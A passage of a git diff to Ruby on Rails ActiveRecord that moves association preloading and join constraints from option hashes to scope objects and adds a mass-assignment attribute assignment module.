           set_target_and_inverse(join_part, association, record)
         else
diff --git a/activerecord/lib/active_record/associations/join_dependency/join_association.rb b/activerecord/lib/active_record/associations/join_dependency/join_association.rb
index 03963ab060..0d3b4dbab1 100644
--- a/activerecord/lib/active_record/associations/join_dependency/join_association.rb
+++ b/activerecord/lib/active_record/associations/join_dependency/join_association.rb
@@ -92,11 +92,21 @@ module ActiveRecord
 
             constraint = build_constraint(reflection, table, key, foreign_table, foreign_key)
 
-            conditions = self.conditions[i].dup
-            conditions << { reflection.type => foreign_klass.base_class.name } if reflection.type
+            scope_chain_items = scope_chain[i]
 
-            unless conditions.empty?
-              constraint = constraint.and(sanitize(conditions, table))
+            if reflection.type
+              scope_chain_items += [
+                ActiveRecord::Relation.new(reflection.klass, table)
+                  .where(reflection.type => foreign_klass.base_class.name)
+              ]
+            end
+
+            scope_chain_items.each do |item|
+              unless item.is_a?(Relation)
+                item = ActiveRecord::Relation.new(reflection.klass, table).instance_exec(self, &item)
+              end
+
+              constraint = constraint.and(item.arel.constraints) unless item.arel.constraints.empty?
             end
 
             relation.from(join(table, constraint))
@@ -134,18 +144,8 @@ module ActiveRecord
           table.table_alias || table.name
         end
 
-        def conditions
-          @conditions ||= reflection.conditions.reverse
-        end
-
-        private
-
-        def interpolate(conditions)
-          if conditions.respond_to?(:to_proc)
-            instance_eval(&conditions)
-          else
-            conditions
-          end
+        def scope_chain
+          @scope_chain ||= reflection.scope_chain.reverse
         end
 
       end
diff --git a/activerecord/lib/active_record/associations/join_helper.rb b/activerecord/lib/active_record/associations/join_helper.rb
index f83138195c..5a41b40c8f 100644
--- a/activerecord/lib/active_record/associations/join_helper.rb
+++ b/activerecord/lib/active_record/associations/join_helper.rb
@@ -19,7 +19,7 @@ module ActiveRecord
 
           if reflection.source_macro == :has_and_belongs_to_many
             tables << alias_tracker.aliased_table_for(
-              (reflection.source_reflection || reflection).options[:join_table],
+              (reflection.source_reflection || reflection).join_table,
               table_alias_for(reflection, true)
             )
           end
@@ -40,16 +40,6 @@ module ActiveRecord
       def join(table, constraint)
         table.create_join(table, table.create_on(constraint), join_type)
       end
-
-      def sanitize(conditions, table)
-        conditions = conditions.map do |condition|
-          condition = active_record.send(:sanitize_sql, interpolate(condition), table.table_alias || table.name)
-          condition = Arel.sql(condition) unless condition.is_a?(Arel::Node)
-          condition
-        end
-
-        conditions.length == 1 ? conditions.first : Arel::Nodes::And.new(conditions)
-      end
     end
   end
 end
diff --git a/activerecord/lib/active_record/associations/preloader.rb b/activerecord/lib/active_record/associations/preloader.rb
index fafed94ff2..ce5bf15f10 100644
--- a/activerecord/lib/active_record/associations/preloader.rb
+++ b/activerecord/lib/active_record/associations/preloader.rb
@@ -12,7 +12,7 @@ module ActiveRecord
     # and all of its books via a single query:
     #
     #   SELECT * FROM authors
-    #   LEFT OUTER JOIN books ON authors.id = books.id
+    #   LEFT OUTER JOIN books ON authors.id = books.author_id
     #   WHERE authors.name = 'Ken Akamatsu'
     #
     # However, this could result in many rows that contain redundant data. After
@@ -42,7 +42,7 @@ module ActiveRecord
       autoload :HasAndBelongsToMany, 'active_record/associations/preloader/has_and_belongs_to_many'
       autoload :BelongsTo,           'active_record/associations/preloader/belongs_to'
 
-      attr_reader :records, :associations, :options, :model
+      attr_reader :records, :associations, :preload_scope, :model
 
       # Eager loads the named associations for the given Active Record record(s).
       #
@@ -78,15 +78,10 @@ module ActiveRecord
       #   [ :books, :author ]
       #   { :author => :avatar }
       #   [ :books, { :author => :avatar } ]
-      #
-      # +options+ contains options that will be passed to ActiveRecord::Base#find
-      # (which is called under the hood for preloading records). But it is passed
-      # only one level deep in the +associations+ argument, i.e. it's not passed
-      # to the child associations when +associations+ is a Hash.
-      def initialize(records, associations, options = {})
-        @records      = Array.wrap(records).compact.uniq
-        @associations = Array.wrap(associations)
-        @options      = options
+      def initialize(records, associations, preload_scope = nil)
+        @records       = Array.wrap(records).compact.uniq
+        @associations  = Array.wrap(associations)
+        @preload_scope = preload_scope || Relation.new(nil, nil)
       end
 
       def run
@@ -110,7 +105,7 @@ module ActiveRecord
 
       def preload_hash(association)
         association.each do |parent, child|
-          Preloader.new(records, parent, options).run
+          Preloader.new(records, parent, preload_scope).run
           Preloader.new(records.map { |record| record.send(parent) }.flatten, child).run
         end
       end
@@ -125,7 +120,7 @@ module ActiveRecord
       def preload_one(association)
         grouped_records(association).each do |reflection, klasses|
           klasses.each do |klass, records|
-            preloader_for(reflection).new(klass, records, reflection, options).run
+            preloader_for(reflection).new(klass, records, reflection, preload_scope).run
           end
         end
       end
diff --git a/activerecord/lib/active_record/associations/preloader/association.rb b/activerecord/lib/active_record/associations/preloader/association.rb
index 779f8164cc..cbf5e734ea 100644
--- a/activerecord/lib/active_record/associations/preloader/association.rb
+++ b/activerecord/lib/active_record/associations/preloader/association.rb
@@ -2,16 +2,16 @@ module ActiveRecord
   module Associations
     class Preloader
       class Association #:nodoc:
-        attr_reader :owners, :reflection, :preload_options, :model, :klass
-
-        def initialize(klass, owners, reflection, preload_options)
-          @klass           = klass
-          @owners          = owners
-          @reflection      = reflection
-          @preload_options = preload_options || {}
-          @model           = owners.first && owners.first.class
-          @scoped          = nil
-          @owners_by_key   = nil
+        attr_reader :owners, :reflection, :preload_scope, :model, :klass
+
+        def initialize(klass, owners, reflection, preload_scope)
+          @klass         = klass
+          @owners        = owners
+          @reflection    = reflection
+          @preload_scope = preload_scope
+          @model         = owners.first && owners.first.class
+          @scope         = nil
+          @owners_by_key = nil
         end
 
         def run
@@ -24,12 +24,12 @@ module ActiveRecord
           raise NotImplementedError
         end
 
-        def scoped
-          @scoped ||= build_scope
+        def scope
+          @scope ||= build_scope
         end
 
         def records_for(ids)
-          scoped.where(association_key.in(ids))
+          scope.where(association_key.in(ids))
         end
 
         def table
@@ -77,7 +77,7 @@ module ActiveRecord
             # Some databases impose a limit on the number of ids in a list (in Oracle it's 1000)
             # Make several smaller queries if necessary or make one query if the adapter supports it
             sliced  = owner_keys.each_slice(model.connection.in_clause_length || owner_keys.size)
-            records = sliced.map { |slice| records_for(slice) }.flatten
+            records = sliced.map { |slice| records_for(slice).to_a }.flatten
           end
 
           # Each record may have multiple owners, and vice-versa
@@ -92,35 +92,29 @@ module ActiveRecord
           records_by_owner
         end
 
+        def reflection_scope
+          @reflection_scope ||= reflection.scope ? klass.unscoped.instance_exec(nil, &reflection.scope) : klass.unscoped
+        end
+
         def build_scope
-          scope = klass.scoped
+          scope = klass.unscoped
+          scope.default_scoped = true
 
-          scope = scope.where(process_conditions(options[:conditions]))
-          scope = scope.where(process_conditions(preload_options[:conditions]))
+          values         = reflection_scope.values
+          preload_values = preload_scope.values
 
-          scope = scope.select(preload_options[:select] || options[:select] || table[Arel.star])
-          scope = scope.includes(preload_options[:include] || options[:include])
+          scope.where_values      = Array(values[:where])      + Array(preload_values[:where])
+          scope.references_values = Array(values[:references]) + Array(preload_values[:references])
+
+          scope.select!   preload_values[:select] || values[:select] || table[Arel.star]
+          scope.includes! preload_values[:includes] || values[:includes]
 
           if options[:as]
-            scope = scope.where(
-              klass.table_name => {
-                reflection.type => model.base_class.sti_name
-              }
-            )
+            scope.where!(klass.table_name => { reflection.type => model.base_class.sti_name })
           end
 
           scope
         end
-
-        def process_conditions(conditions)
-          if conditions.respond_to?(:to_proc)
-            conditions = klass.send(:instance_eval, &conditions)
-          end
-
-          if conditions
-            klass.send(:sanitize_sql, conditions)
-          end
-        end
       end
     end
   end
diff --git a/activerecord/lib/active_record/associations/preloader/collection_association.rb b/activerecord/lib/active_record/associations/preloader/collection_association.rb
index c248aeaaf6..e6cd35e7a1 100644
--- a/activerecord/lib/active_record/associations/preloader/collection_association.rb
+++ b/activerecord/lib/active_record/associations/preloader/collection_association.rb
@@ -6,7 +6,7 @@ module ActiveRecord
         private
 
         def build_scope
-          super.order(preload_options[:order] || options[:order])
+          super.order(preload_scope.values[:order] || reflection_scope.values[:order])
         end
 
         def preload
diff --git a/activerecord/lib/active_record/associations/preloader/has_and_belongs_to_many.rb b/activerecord/lib/active_record/associations/preloader/has_and_belongs_to_many.rb
index b77b667219..8e8925f0a9 100644
--- a/activerecord/lib/active_record/associations/preloader/has_and_belongs_to_many.rb
+++ b/activerecord/lib/active_record/associations/preloader/has_and_belongs_to_many.rb
@@ -6,7 +6,7 @@ module ActiveRecord
 
         def initialize(klass, records, reflection, preload_options)
           super
-          @join_table = Arel::Table.new(options[:join_table]).alias('t0')
+          @join_table = Arel::Table.new(reflection.join_table).alias('t0')
         end
 
         # Unlike the other associations, we want to get a raw array of rows so that we can
diff --git a/activerecord/lib/active_record/associations/preloader/has_many_through.rb b/activerecord/lib/active_record/associations/preloader/has_many_through.rb
index c6e9ede356..9a662d3f53 100644
--- a/activerecord/lib/active_record/associations/preloader/has_many_through.rb
+++ b/activerecord/lib/active_record/associations/preloader/has_many_through.rb
@@ -6,7 +6,7 @@ module ActiveRecord
 
         def associated_records_by_owner
           super.each do |owner, records|
-            records.uniq! if options[:uniq]
+            records.uniq! if reflection_scope.uniq_value
           end
         end
       end
diff --git a/activerecord/lib/active_record/associations/preloader/has_one.rb b/activerecord/lib/active_record/associations/preloader/has_one.rb
index 848448bb48..24728e9f01 100644
--- a/activerecord/lib/active_record/associations/preloader/has_one.rb
+++ b/activerecord/lib/active_record/associations/preloader/has_one.rb
@@ -14,7 +14,7 @@ module ActiveRecord
         private
 
         def build_scope
-          super.order(preload_options[:order] || options[:order])
+          super.order(preload_scope.values[:order] || reflection_scope.values[:order])
         end
 
       end
diff --git a/activerecord/lib/active_record/associations/preloader/through_association.rb b/activerecord/lib/active_record/associations/preloader/through_association.rb
index ad6374d09a..1c1ba11c44 100644
--- a/activerecord/lib/active_record/associations/preloader/through_association.rb
+++ b/activerecord/lib/active_record/associations/preloader/through_association.rb
@@ -14,10 +14,7 @@ module ActiveRecord
         def associated_records_by_owner
           through_records = through_records_by_owner
 
-          ActiveRecord::Associations::Preloader.new(
-            through_records.values.flatten,
-            source_reflection.name, options
-          ).run
+          Preloader.new(through_records.values.flatten, source_reflection.name, reflection_scope).run
 
           through_records.each do |owner, records|
             records.map! { |r| r.send(source_reflection.name) }.flatten!
@@ -28,10 +25,7 @@ module ActiveRecord
         private
 
         def through_records_by_owner
-          ActiveRecord::Associations::Preloader.new(
-            owners, through_reflection.name,
-            through_options
-          ).run
+          Preloader.new(owners, through_reflection.name, through_scope).run
 
           Hash[owners.map do |owner|
             through_records = Array.wrap(owner.send(through_reflection.name))
@@ -45,21 +39,22 @@ module ActiveRecord
           end]
         end
 
-        def through_options
-          through_options = {}
+        def through_scope
+          through_scope = through_reflection.klass.unscoped
 
           if options[:source_type]
-            through_options[:conditions] = { reflection.foreign_type => options[:source_type] }
+            through_scope.where! reflection.foreign_type => options[:source_type]
           else
-            if options[:conditions]
-              through_options[:include]    = options[:include] || options[:source]
-              through_options[:conditions] = options[:conditions]
+            unless reflection_scope.where_values.empty?
+              through_scope.includes_values = reflection_scope.values[:includes] || options[:source]
+              through_scope.where_values    = reflection_scope.values[:where]
             end
 
-            through_options[:order] = options[:order]
+            through_scope.order!      reflection_scope.values[:order]
+            through_scope.references! reflection_scope.values[:references]
           end
 
-          through_options
+          through_scope
         end
       end
     end
diff --git a/activerecord/lib/active_record/associations/singular_association.rb b/activerecord/lib/active_record/associations/singular_association.rb
index a1a921bcb4..b84cb4922d 100644
--- a/activerecord/lib/active_record/associations/singular_association.rb
+++ b/activerecord/lib/active_record/associations/singular_association.rb
@@ -35,11 +35,11 @@ module ActiveRecord
       private
 
         def create_scope
-          scoped.scope_for_create.stringify_keys.except(klass.primary_key)
+          scope.scope_for_create.stringify_keys.except(klass.primary_key)
         end
 
         def find_target
-          scoped.first.tap { |record| set_inverse_instance(record) }
+          scope.first.tap { |record| set_inverse_instance(record) }
         end
 
         # Implemented by subclasses
diff --git a/activerecord/lib/active_record/associations/through_association.rb b/activerecord/lib/active_record/associations/through_association.rb
index f95e5337c2..b9e014735b 100644
--- a/activerecord/lib/active_record/associations/through_association.rb
+++ b/activerecord/lib/active_record/associations/through_association.rb
@@ -15,7 +15,7 @@ module ActiveRecord
           scope = super
           chain[1..-1].each do |reflection|
             scope = scope.merge(
-              reflection.klass.scoped.with_default_scope.
+              reflection.klass.all.with_default_scope.
                 except(:select, :create_with, :includes, :preload, :joins, :eager_load)
             )
           end
@@ -37,9 +37,7 @@ module ActiveRecord
         # situation it is more natural for the user to just create or modify their join records
         # directly as required.
         def construct_join_attributes(*records)
-          if source_reflection.macro != :belongs_to
-            raise HasManyThroughCantAssociateThroughHasOneOrManyReflection.new(owner, reflection)
-          end
+          ensure_mutable
 
           join_attributes = {
             source_reflection.foreign_key =>
@@ -64,7 +62,7 @@ module ActiveRecord
         # properly support stale-checking for nested associations.
         def stale_state
           if through_reflection.macro == :belongs_to
-            owner[through_reflection.foreign_key].to_s
+            owner[through_reflection.foreign_key] && owner[through_reflection.foreign_key].to_s
           end
         end
 
@@ -73,6 +71,12 @@ module ActiveRecord
           !owner[through_reflection.foreign_key].nil?
         end
 
+        def ensure_mutable
+          if source_reflection.macro != :belongs_to
+            raise HasManyThroughCantAssociateThroughHasOneOrManyReflection.new(owner, reflection)
+          end
+        end
+
         def ensure_not_nested
           if reflection.nested?
             raise HasManyThroughNestedAssociationsAreReadonly.new(owner, reflection)
diff --git a/activerecord/lib/active_record/attribute_assignment.rb b/activerecord/lib/active_record/attribute_assignment.rb
new file mode 100644
index 0000000000..d9989274c8
--- /dev/null
+++ b/activerecord/lib/active_record/attribute_assignment.rb
@@ -0,0 +1,286 @@
+
+module ActiveRecord
+  ActiveSupport.on_load(:active_record_config) do
+    mattr_accessor :whitelist_attributes,      instance_accessor: false
+    mattr_accessor :mass_assignment_sanitizer, instance_accessor: false
+  end
+
+  module AttributeAssignment
+    extend ActiveSupport::Concern
+    include ActiveModel::MassAssignmentSecurity
+
+    included do
+      initialize_mass_assignment_sanitizer
+    end
+
+    module ClassMethods
+      def inherited(child) # :nodoc:
+        child.send :initialize_mass_assignment_sanitizer if self == Base
+        super
+      end
+
+      private
+
+      # The primary key and inheritance column can never be set by mass-assignment for security reasons.
+      def attributes_protected_by_default
+        default = [ primary_key, inheritance_column ]
+        default << 'id' unless primary_key.eql? 'id'
+        default
+      end
+
+      def initialize_mass_assignment_sanitizer
+        attr_accessible(nil) if Model.whitelist_attributes
+        self.mass_assignment_sanitizer = Model.mass_assignment_sanitizer if Model.mass_assignment_sanitizer
+      end
+    end
+
+    # Allows you to set all the attributes at once by passing in a hash with keys
+    # matching the attribute names (which again matches the column names).
+    #
+    # If any attributes are protected by either +attr_protected+ or
+    # +attr_accessible+ then only settable attributes will be assigned.
+    #
+    #   class User < ActiveRecord::Base
+    #     attr_protected :is_admin
+    #   end
+    #
+    #   user = User.new
+    #   user.attributes = { :username => 'Phusion', :is_admin => true }
+    #   user.username   # => "Phusion"
+    #   user.is_admin?  # => false
+    def attributes=(new_attributes)
+      return unless new_attributes.is_a?(Hash)
+
+      assign_attributes(new_attributes)
+    end
+
+    # Allows you to set all the attributes for a particular mass-assignment
+    # security role by passing in a hash of attributes with keys matching
+    # the attribute names (which again matches the column names) and the role
+    # name using the :as option.
+    #
+    # To bypass mass-assignment security you can use the :without_protection => true
+    # option.
+    #
+    #   class User < ActiveRecord::Base
+    #     attr_accessible :name
+    #     attr_accessible :name, :is_admin, :as => :admin
+    #   end
+    #
+    #   user = User.new
+    #   user.assign_attributes({ :name => 'Josh', :is_admin => true })
+    #   user.name       # => "Josh"
+    #   user.is_admin?  # => false
+    #
+    #   user = User.new
+    #   user.assign_attributes({ :name => 'Josh', :is_admin => true }, :as => :admin)
+    #   user.name       # => "Josh"
+    #   user.is_admin?  # => true
+    #
+    #   user = User.new
+    #   user.assign_attributes({ :name => 'Josh', :is_admin => true }, :without_protection => true)
+    #   user.name       # => "Josh"
+    #   user.is_admin?  # => true
+    def assign_attributes(new_attributes, options = {})
+      return if new_attributes.blank?
+
+      attributes                  = new_attributes.stringify_keys
+      multi_parameter_attributes  = []
+      nested_parameter_attributes = []
+      previous_options            = @mass_assignment_options
+      @mass_assignment_options    = options
+
+      unless options[:without_protection]
+        attributes = sanitize_for_mass_assignment(attributes, mass_assignment_role)
+      end
+
+      attributes.each do |k, v|
+        if k.include?("(")
+          multi_parameter_attributes << [ k, v ]
+        elsif v.is_a?(Hash)
+          nested_parameter_attributes << [ k, v ]
+        else
+          _assign_attribute(k, v)
+        end
+      end
+
+      assign_nested_parameter_attributes(nested_parameter_attributes) unless nested_parameter_attributes.empty?
+      assign_multiparameter_attributes(multi_parameter_attributes) unless multi_parameter_attributes.empty?
+    ensure
+      @mass_assignment_options = previous_options
+    end
+
+    protected
+
+    def mass_assignment_options
+      @mass_assignment_options ||= {}
+    end
+
+    def mass_assignment_role
+      mass_assignment_options[:as] || :default
+    end
+
+    private
+
+    def _assign_attribute(k, v)
+      public_send("#{k}=", v)
+    rescue NoMethodError
+      if respond_to?("#{k}=")
+        raise
+      else
+        raise UnknownAttributeError, "unknown attribute: #{k}"
+      end
+    end
+
+    # Assign any deferred nested attributes after the base attributes have been set.
+    def assign_nested_parameter_attributes(pairs)
+      pairs.each { |k, v| _assign_attribute(k, v) }
+    end
+
+    # Instantiates objects for all attribute classes that needs more than one constructor parameter. This is done
+    # by calling new on the column type or aggregation type (through composed_of) object with these parameters.
+    # So having the pairs written_on(1) = "2004", written_on(2) = "6", written_on(3) = "24", will instantiate
+    # written_on (a date type) with Date.new("2004", "6", "24"). You can also specify a typecast character in the
+    # parentheses to have the parameters typecasted before they're used in the constructor. Use i for Fixnum,
+    # f for Float, s for String, and a for Array. If all the values for a given attribute are empty, the
+    # attribute will be set to nil.
+    def assign_multiparameter_attributes(pairs)
+      execute_callstack_for_multiparameter_attributes(
+        extract_callstack_for_multiparameter_attributes(pairs)
+      )
+    end
+
+    def execute_callstack_for_multiparameter_attributes(callstack)
+      errors = []
+      callstack.each do |name, values_with_empty_parameters|
+        begin
+          send("#{name}=", MultiparameterAttribute.new(self, name, values_with_empty_parameters).read_value)
+        rescue => ex
+          errors << AttributeAssignmentError.new("error on assignment #{values_with_empty_parameters.values.inspect} to #{name} (#{ex.message})", ex, name)
+        end
+      end
+      unless errors.empty?
+        error_descriptions = errors.map { |ex| ex.message }.join(",")
+        raise MultiparameterAssignmentErrors.new(errors), "#{errors.size} error(s) on assignment of multiparameter attributes [#{error_descriptions}]"
+      end
+    end
+
+    def extract_callstack_for_multiparameter_attributes(pairs)
+      attributes = { }
+
+      pairs.each do |(multiparameter_name, value)|
+        attribute_name = multiparameter_name.split("(").first
+        attributes[attribute_name] ||= {}
+
+        parameter_value = value.empty? ? nil : type_cast_attribute_value(multiparameter_name, value)
+        attributes[attribute_name][find_parameter_position(multiparameter_name)] ||= parameter_value
+      end
+
+      attributes
+    end
+
+    def type_cast_attribute_value(multiparameter_name, value)
+      multiparameter_name =~ /\([0-9]*([if])\)/ ? value.send("to_" + $1) : value
+    end
+
+    def find_parameter_position(multiparameter_name)
+      multiparameter_name.scan(/\(([0-9]*).*\)/).first.first.to_i
+    end
+
+    class MultiparameterAttribute #:nodoc:
+      attr_reader :object, :name, :values, :column
+
+      def initialize(object, name, values)
+        @object = object
+        @name   = name
+        @values = values
+      end
+
+      def read_value
+        return if values.values.compact.empty?
+
+        @column = object.class.reflect_on_aggregation(name.to_sym) || object.column_for_attribute(name)
+        klass   = column.klass
+
+        if klass == Time
+          read_time
+        elsif klass == Date
+          read_date
+        else
+          read_other(klass)
+        end
+      end
+
+      private
+
+      def instantiate_time_object(set_values)
+        if object.class.send(:create_time_zone_conversion_attribute?, name, column)
+          Time.zone.local(*set_values)
+        else
+          Time.time_with_datetime_fallback(object.class.default_timezone, *set_values)
+        end
+      end
+
+      def read_time
+        # If column is a :time (and not :date or :timestamp) there is no need to validate if
+        # there are year/month/day fields
+        if column.type == :time
+          # if the column is a time set the values to their defaults as January 1, 1970, but only if they're nil
+          { 1 => 1970, 2 => 1, 3 => 1 }.each do |key,value|
+            values[key] ||= value
+          end
+        else
+          # else column is a timestamp, so if Date bits were not provided, error
+          validate_missing_parameters!([1,2,3])
+
+          # If Date bits were provided but blank, then return nil
+          return if blank_date_parameter?
+        end
+
+        max_position = extract_max_param(6)
+        set_values   = values.values_at(*(1..max_position))
+        # If Time bits are not there, then default to 0
+        (3..5).each { |i| set_values[i] = set_values[i].presence || 0 }
+        instantiate_time_object(set_values)
+      end
+
+      def read_date
+        return if blank_date_parameter?
+        set_values = values.values_at(1,2,3)
+        begin
+          Date.new(*set_values)
+        rescue ArgumentError # if Date.new raises an exception on an invalid date
+          instantiate_time_object(set_values).to_date # we instantiate Time object and convert it back to a date thus using Time's logic in handling invalid dates
+        end
+      end
+
+      def read_other(klass)
+        max_position = extract_max_param
+        positions    = (1..max_position)
+        validate_missing_parameters!(positions)
+
+        set_values = values.values_at(*positions)
+        klass.new(*set_values)
+      end
+
+      # Checks whether some blank date parameter exists. Note that this is different
+      # than the validate_missing_parameters! method, since it just checks for blank
+      # positions instead of missing ones, and does not raise in case one blank position
+      # exists. The caller is responsible to handle the case of this returning true.
+      def blank_date_parameter?
+        (1..3).any? { |position| values[position].blank? }
+      end
+
+      # If some position is not provided, it errors out a missing parameter exception.
+      def validate_missing_parameters!(positions)
+        if missing_parameter = positions.detect { |position| !values.key?(position) }
+          raise ArgumentError.new("Missing Parameter - #{name}(#{missing_parameter})")
+        end
+      end
+
+      def extract_max_param(upper_cap = 100)
+        [values.keys.max, upper_cap].min
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/attribute_methods.rb b/activerecord/lib/active_record/attribute_methods.rb
index d7bfaa5655..ced15bc330 100644
--- a/activerecord/lib/active_record/attribute_methods.rb
+++ b/activerecord/lib/active_record/attribute_methods.rb
@@ -1,5 +1,4 @@
 require 'active_support/core_ext/enumerable'
-require 'active_support/deprecation'
 
 module ActiveRecord
   # = Active Record Attribute Methods
@@ -7,35 +6,38 @@ module ActiveRecord
     extend ActiveSupport::Concern
     include ActiveModel::AttributeMethods
 
+    included do
+      include Read
+      include Write
+      include BeforeTypeCast
+      include Query
+      include PrimaryKey
+      include TimeZoneConversion
+      include Dirty
+      include Serialization
+    end
+
     module ClassMethods
       # Generates all the attribute related methods for columns in the database
       # accessors, mutators and query methods.
       def define_attribute_methods
-        return if attribute_methods_generated?
-
-        if base_class == self
+        # Use a mutex; we don't want two thread simaltaneously trying to define
+        # attribute methods.
+        @attribute_methods_mutex.synchronize do
+          return if attribute_methods_generated?
+          superclass.define_attribute_methods unless self == base_class
           super(column_names)
           @attribute_methods_generated = true
-        else
-          base_class.define_attribute_methods
         end
       end
 
       def attribute_methods_generated?
-        if base_class == self
-          @attribute_methods_generated ||= false
-        else
-          base_class.attribute_methods_generated?
-        end
+        @attribute_methods_generated ||= false
       end
 
-      def undefine_attribute_methods(*args)
-        if base_class == self
-          super
-          @attribute_methods_generated = false
-        else
-          base_class.undefine_attribute_methods(*args)
-        end
+      def undefine_attribute_methods
+        super if attribute_methods_generated?
+        @attribute_methods_generated = false
       end
 
       def instance_method_already_implemented?(method_name)
@@ -43,19 +45,46 @@ module ActiveRecord
           raise DangerousAttributeError, "#{method_name} is defined by ActiveRecord"
         end
 
-        super
+        if [Base, Model].include?(active_record_super)
+          super
+        else
+          # If B < A and A defines its own attribute method, then we don't want to overwrite that.
+          defined = method_defined_within?(method_name, superclass, superclass.generated_attribute_methods)
+          defined && !ActiveRecord::Base.method_defined?(method_name) || super
+        end
       end
 
       # A method name is 'dangerous' if it is already defined by Active Record, but
       # not by any ancestors. (So 'puts' is not dangerous but 'save' is.)
-      def dangerous_attribute_method?(method_name)
-        active_record = ActiveRecord::Base
-        superclass    = ActiveRecord::Base.superclass
+      def dangerous_attribute_method?(name)
+        method_defined_within?(name, Base)
+      end
+
+      def method_defined_within?(name, klass, sup = klass.superclass)
+        if klass.method_defined?(name) || klass.private_method_defined?(name)
+          if sup.method_defined?(name) || sup.private_method_defined?(name)
+            klass.instance_method(name).owner != sup.instance_method(name).owner
+          else
+            true
+          end
+        else
+          false
+        end
+      end
+
+      def attribute_method?(attribute)
+        super || (table_exists? && column_names.include?(attribute.to_s.sub(/=$/, '')))
+      end
 
-        (active_record.method_defined?(method_name) ||
-         active_record.private_method_defined?(method_name)) &&
-        !superclass.method_defined?(method_name) &&
-        !superclass.private_method_defined?(method_name)
+      # Returns an array of column names as strings if it's not
+      # an abstract class and table exists.
+      # Otherwise it returns an empty array.
+      def attribute_names
+        @attribute_names ||= if !abstract_class? && table_exists?
+            column_names
+          else
+            []
+          end
       end
     end
 
@@ -94,9 +123,148 @@ module ActiveRecord
       super
     end
 
+    # Returns true if the given attribute is in the attributes hash
+    def has_attribute?(attr_name)
+      @attributes.has_key?(attr_name.to_s)
+    end
+
+    # Returns an array of names for the attributes available on this object.
+    def attribute_names
+      @attributes.keys
+    end
+
+    # Returns a hash of all the attributes with their names as keys and the values of the attributes as values.
+    def attributes
+      attribute_names.each_with_object({}) { |name, attrs|
+        attrs[name] = read_attribute(name)
+      }
+    end
+
+    # Returns an <tt>#inspect</tt>-like string for the value of the
+    # attribute +attr_name+. String attributes are truncated upto 50
+    # characters, and Date and Time attributes are returned in the
+    # <tt>:db</tt> format. Other attributes return the value of
+    # <tt>#inspect</tt> without modification.
+    #
+    #   person = Person.create!(:name => "David Heinemeier Hansson " * 3)
+    #
+    #   person.attribute_for_inspect(:name)
+    #   # => '"David Heinemeier Hansson David Heinemeier Hansson D..."'
+    #
+    #   person.attribute_for_inspect(:created_at)
+    #   # => '"2009-01-12 04:48:57"'
+    def attribute_for_inspect(attr_name)
+      value = read_attribute(attr_name)
+
+      if value.is_a?(String) && value.length > 50
+        "#{value[0..50]}...".inspect
+      elsif value.is_a?(Date) || value.is_a?(Time)
+        %("#{value.to_s(:db)}")
+      else
+        value.inspect
+      end
+    end
+
+    # Returns true if the specified +attribute+ has been set by the user or by a database load and is neither
+    # nil nor empty? (the latter only applies to objects that respond to empty?, most notably Strings).
+    def attribute_present?(attribute)
+      value = read_attribute(attribute)
+      !value.nil? && !(value.respond_to?(:empty?) && value.empty?)
+    end
+
+    # Returns the column object for the named attribute.
+    def column_for_attribute(name)
+      # FIXME: should this return a null object for columns that don't exist?
+      self.class.columns_hash[name.to_s]
+    end
+
+    # Returns the value of the attribute identified by <tt>attr_name</tt> after it has been typecast (for example,
+    # "2004-12-12" in a data column is cast to a date object, like Date.new(2004, 12, 12)).
+    # (Alias for the protected read_attribute method).
+    def [](attr_name)
+      read_attribute(attr_name)
+    end
+
+    # Updates the attribute identified by <tt>attr_name</tt> with the specified +value+.
+    # (Alias for the protected write_attribute method).
+    def []=(attr_name, value)
+      write_attribute(attr_name, value)
+    end
+
     protected
-      def attribute_method?(attr_name)
-        attr_name == 'id' || (defined?(@attributes) && @attributes.include?(attr_name))
+
+    def clone_attributes(reader_method = :read_attribute, attributes = {})
+      attribute_names.each do |name|
+        attributes[name] = clone_attribute_value(reader_method, name)
+      end
+      attributes
+    end
+
+    def clone_attribute_value(reader_method, attribute_name)
+      value = send(reader_method, attribute_name)
+      value.duplicable? ? value.clone : value
+    rescue TypeError, NoMethodError
+      value
+    end
+
+    def arel_attributes_with_values_for_create(pk_attribute_allowed)
+      arel_attributes_with_values(attributes_for_create(pk_attribute_allowed))
+    end
+
+    def arel_attributes_with_values_for_update(attribute_names)
+      arel_attributes_with_values(attributes_for_update(attribute_names))
+    end
+
+    def attribute_method?(attr_name)
+      defined?(@attributes) && @attributes.include?(attr_name)
+    end
+
+    private
+
+    # Returns a Hash of the Arel::Attributes and attribute values that have been
+    # type casted for use in an Arel insert/update method.
+    def arel_attributes_with_values(attribute_names)
+      attrs = {}
+      arel_table = self.class.arel_table
+
+      attribute_names.each do |name|
+        attrs[arel_table[name]] = typecasted_attribute_value(name)
+      end
+      attrs
+    end
+
+    # Filters the primary keys and readonly attributes from the attribute names.
+    def attributes_for_update(attribute_names)
+      attribute_names.select do |name|
+        column_for_attribute(name) && !pk_attribute?(name) && !readonly_attribute?(name)
       end
+    end
+
+    # Filters out the primary keys, from the attribute names, when the primary
+    # key is to be generated (e.g. the id attribute has no value).
+    def attributes_for_create(pk_attribute_allowed)
+      @attributes.keys.select do |name|
+        column_for_attribute(name) && (pk_attribute_allowed || !pk_attribute?(name))
+      end
+    end
+
+    def readonly_attribute?(name)
+      self.class.readonly_attributes.include?(name)
+    end
+
+    def pk_attribute?(name)
+      column_for_attribute(name).primary
+    end
+
+    def typecasted_attribute_value(name)
+      if self.class.serialized_attributes.include?(name)
+        @attributes[name].serialized_value
+      else
+        # FIXME: we need @attributes to be used consistently.
+        # If the values stored in @attributes were already typecasted, this code
+        # could be simplified
+        read_attribute(name)
+      end
+    end
   end
 end
diff --git a/activerecord/lib/active_record/attribute_methods/before_type_cast.rb b/activerecord/lib/active_record/attribute_methods/before_type_cast.rb
index bde11d0494..d4f529acbf 100644
--- a/activerecord/lib/active_record/attribute_methods/before_type_cast.rb
+++ b/activerecord/lib/active_record/attribute_methods/before_type_cast.rb
@@ -20,11 +20,7 @@ module ActiveRecord
 
       # Handle *_before_type_cast for method_missing.
       def attribute_before_type_cast(attribute_name)
-        if attribute_name == 'id'
-          read_attribute_before_type_cast(self.class.primary_key)
-        else
-          read_attribute_before_type_cast(attribute_name)
-        end
+        read_attribute_before_type_cast(attribute_name)
       end
     end
   end
diff --git a/activerecord/lib/active_record/attribute_methods/dirty.rb b/activerecord/lib/active_record/attribute_methods/dirty.rb
index 3eff3d54e3..60e5b0e2bb 100644
--- a/activerecord/lib/active_record/attribute_methods/dirty.rb
